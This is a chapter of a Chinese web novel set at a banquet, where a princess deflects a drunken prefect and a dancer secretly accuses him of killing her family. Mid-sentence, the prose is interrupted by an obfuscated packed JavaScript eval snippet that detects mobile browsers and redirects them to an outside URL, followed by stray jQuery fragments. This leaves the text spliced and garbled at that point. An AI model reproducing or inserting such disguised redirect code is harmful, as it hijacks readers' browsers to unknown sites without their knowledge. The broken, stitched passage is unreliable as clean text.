44.治水(三)

赶路数日,人困马乏,顾询墨一觉睡到天黑。直到外面传来丫鬟的轻语,她才终于醒了过来。


“起来了?”顾询墨拍了拍面色转好许多的季竹心,“晚上还有接风宴,要不要去吃点?”


“好。”季竹心应声而起。


两人磨磨蹭蹭穿好衣服,才吩咐丫鬟进来梳妆。


赶到宴会时已是戌时过半。


侍从们早已将酒摆好,随行的官员也已穿戴整齐,坐在了席位上。顾询墨是今日的主位,她未到众人也不敢先用膳,只能悄声聊些家常。


“殿下到。”丫鬟高声提醒。


众人瞬间收敛神色,正襟危坐。


陈牧急匆匆跑到顾询墨面前,行了鞠躬礼后才腆着笑问道:“殿下休息的可好?”


“还行。”顾询墨不想理会这人的应承,便拉着季竹心直接坐到了主位上。


陈牧面色一僵,随后又很快恢复了正常,他转身对着假山旁候着的丫鬟小厮喝道:“上酒!”


丫鬟小厮们应声而动,一个个低眉敛目却又动作迅速地从假山旁走出,排着整齐的队,端着托盘走向席间。


与此同时,高台上的伶人们也开始奏起了乐曲。


顾询墨对这些表演没什么兴趣,但季竹心不一样,她少有能参加宴会的机会,倒是看得津津有味。


“吃不吃?”顾询墨见她移不开眼,只能将鸡汤端到她嘴边。


季竹心来这里的路上吐了几日,胃口不佳,今日到这后没用午膳便又睡到了晚上,再不吃点,顾询墨觉得她离饿晕也不远了。


“啊?”季竹心低头一看,却见碗边已经抵到了她嘴上,“哦哦,吃的吃的。”


季竹心接过鸡汤,囫囵便将其喝了,继续盯着歌舞表演看得起劲。


顾询墨本想再舀一碗汤给她,却被陈牧打搅了动作。


她压下心中不耐,与对方攀谈起来。


宋柏元站在身侧,见顾询墨移开了视线与陈牧应酬起来,便借着灯光的暗处膝行几步,跪到了季竹心身旁。


宋柏元四下打量了一番,眼见无人在意,也大胆了许多,直接将季竹心案前的虾端来剥好,沾好酱料后又放在了她面前。


此刻本就天黑许久,纵然宴上点了灯,也不算亮堂。更别说季竹心坐在主位的角落处,又不是个什么贵重身份,自然也没人在意到宋柏元此举。


季竹心看歌舞看得兴致极高,也不觉得身体疲乏。


只是一场歌舞毕,她低下头准备吃点什么时,却见已经剥好的虾仁排列整齐放在了她碗中。


季竹心下意识看向身旁的顾询墨,却见对方此刻正被陈牧缠着。


对方似乎已经忍到了爆发的边缘,垂在桌下的拳头紧握,面上却仍挂着和善的微笑。


季竹心又向另一侧望去,却见男人跪在身旁,他跪在隐蔽的暗处,眼神晶亮地看着她。


“你剥的虾?”季竹心眨了眨眼,轻声问道。


宋柏元点点头,也不回答,只是仍盯着她。明明是一张冷峻的面容,季竹心却似乎能从中看出几分笨拙的讨好。


“谢谢圆圆。”季竹心起了坏心思,用手挠了挠对方的下巴,哄狗似的。


“不……不用谢”宋柏元脸色爆红。


为什么要叫他圆圆?


宋柏元自己下意识便将心中所想说了出来。


“因为很可爱啊,你不觉得吗?”


得到对方的回答后,他只觉得更加羞耻。


“圆圆?”见宋柏元脑袋快要垂到地上去了,季竹心收起了坏心思,手抬着他的额头将他的脑袋扶了起来,“你有没有吃饭?”


宋柏元摇摇头,不明白为什么季竹心突然将话题跳到了这里。


“那就不要伺候我了,去后面席位上吃点。”季竹心收敛起捉弄的心思,半命令半威胁,“饿瘦了我就不喜欢了哦。”


“好。”宋柏元揣着甜蜜乖乖回到了自己的席位上。


休息了一刻钟后,下一场歌舞再次开始。季竹心借着休息的功夫刚好填饱了肚子,便又高高兴兴看起了歌舞。


乐声起,红衣舞姬身姿轻盈,从高台迈步而下,她莲步轻迈,步入席间中央。


乐声起伏,她旋转、跳跃,宛若陀螺般旋转,红衣似红莲盛放般旋开。


乐声由急转缓,她甩袖回眸,腰间的金铃随着她的舞动叮铃作响,直到最后一个音阶落下,她折腰仰首,眸含秋水,直直望向了主座上的顾询墨。


顾询墨本就疲于应付陈牧,谁知不经意间转开视线时,眼神却与那舞姬对上。


自从那日傅铮府上回来后,她就对舞姬有了阴影,而这姑娘还恰好又是个身着红衣的舞姬,她更不想多看了。


顾询墨下意识地转开视线,垂眼看向食案,试图避免对视,可这姑娘却直接跪到了她面前:“殿下。”


“何事?”顾询墨面如菜色,心中深深叹了口气。


她怎么和红衣舞姬过不去了?


不会又要上演舞姬下药的剧情了吧?


不要啊!!!!


顾询墨心中呐喊,脸上却仍不动声色。


“奴乔乔见过殿下。”舞姬恭敬地对着顾询墨叩首,听到对方让她起身后,她才道出了来意,“奴来为殿下斟酒……”


“不必……”顾询墨摆手推拒道。


“哈哈,殿下何必……嗝……与这女子过不去呢?”陈牧大笑一声,似乎是酒意上头,言语间大胆了许多,“美人作陪,殿下何不就……受用了?”


“呵。”见陈牧已然被酒精蒙蔽了大脑,顾询墨也不想理他,只冷笑了一声后便沉默下来。


酒壮怂人胆,陈牧丝毫没意识到自己是在调侃皇子,他又大着舌头道:“殿下若不喜欢,下官……嗝……府上还有许多美人,只要殿下看上哪个,下官都可以……嗝……送到殿下榻上……”


“陈太守怕是醉了……”一年轻小官见顾询墨脸色越发难看,便从中调和道。


“那就送陈太守去休息吧……”顾询墨挥挥手,示意小厮将他带走。


几个小厮将陈牧扶着送回后院,顾询墨这才松了口气。


可那舞姬却仍留在那里,只


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15066170|159628||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


是不再对着她献媚般的笑着,而是看向陈牧离开的方向,眼神阴狠。


顾询墨察觉到了舞姬的目光,挑了挑眉,“陈太守已经走了,你还有何事要说?”


这姑娘的眼神顾询墨看得分明,很明显,乔乔和陈牧有着什么深仇大怨。


可乔乔却是收回目光,眼神潋滟地看向顾询墨,她拿起酒壶,走到顾询墨身旁为她斟酒。


仿佛是站立不稳似的,还没斟完酒,她便倒在了顾询墨怀中,“殿下恕罪。”


顾询墨下意识便想将其推开,可随之而来的变故却令她反将那姑娘搂紧了,“若要道歉,不如今晚来我房中道歉……”


季竹心见此情况,便知顾询墨有了主意,旋即收回目光,开始观察起了台下众人的神色。


席间众人看着顾询墨的做派,神色各异,互相对视几眼后,又低着头喝起了杯中酒。


乐声还在响着,舞蹈表演结束后,丝竹声却仍不停歇,席间仍是十分热闹,但众人似乎刻意在避开看向主位的目光。


宋柏元看着季竹心故作坚强的背影,心中一阵酸楚。


他甚至能瞥到她眼角处溢出的泪……她似乎是被顾询墨的多情刺到了,却要故作不在意地转移视线。


季竹心可不知道身后的宋柏元想了那么多。她无聊地打了个哈欠,才轻轻叹了口气。


歌舞表演似乎就这么……结束了?!


季竹心越发兴致缺缺,她转头和顾询墨对视一眼,示意她自己要先离席了,便站起身来从暗处离开了。


宋柏元作为贴身侍卫,自然是随着几名丫鬟一起,跟在季竹心身后。


……


宴会起于戌时,结束时已近子时。


顾询墨疲惫地应付完众人后,才带着乔乔去往了自己屋内。


“回来啦?”季竹心从软榻上坐起,“等你好久了。”


“周围没人了吧?”顾询墨悄声问道。


“放心吧,我让宋柏元几人在院子外面守着呢。”


“那就好那就好。”顾询墨松开牵着乔乔的手,拿出了攥在手中的字条。


只见上面写着几个大字——“太守陈牧草菅人命,屠我一家八口”


“你……”顾询墨转身看向乔乔,却见乔乔已然跪在了地上。


乔乔眼中含泪,哽咽道:“求殿下为我伸冤!”


“起来说。”顾询墨连忙将她拉了起来,又将她扶到桌边坐下,“有何冤屈你细细说来,我为你做主。”


乔乔这才哽咽着将事情的原委道了干净。


原来这太守陈牧在位十三年间,不仅政事上毫无建树,私底下还异常变态。


他在醉酒时说出的那句“府上有许多美人”不是假话,那些都是他底下的县官们“孝敬”上来的,但这些美人们却都是被逼无奈,才入了太守府。


乔乔也是如此,当时,那县官逼着她父母做出抉择,问他们是要田还是要女儿,父母自然都想要。


但乔乔知道,若无田地,她的小妹、小弟们都要饿死,所以她选择了妥协。


可是……